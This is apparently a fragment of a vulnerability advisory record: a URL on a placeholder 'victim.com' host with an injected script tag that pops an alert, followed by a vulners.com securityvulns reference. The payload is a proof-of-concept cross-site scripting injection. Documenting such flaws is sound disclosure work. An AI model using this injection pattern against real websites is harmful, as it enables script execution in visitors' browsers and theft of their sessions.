www.victim.com/<script>alert('IIL_0wnZ_YoU!!!');</script>
vulners.com/securityvulns/securityvulns:doc:3549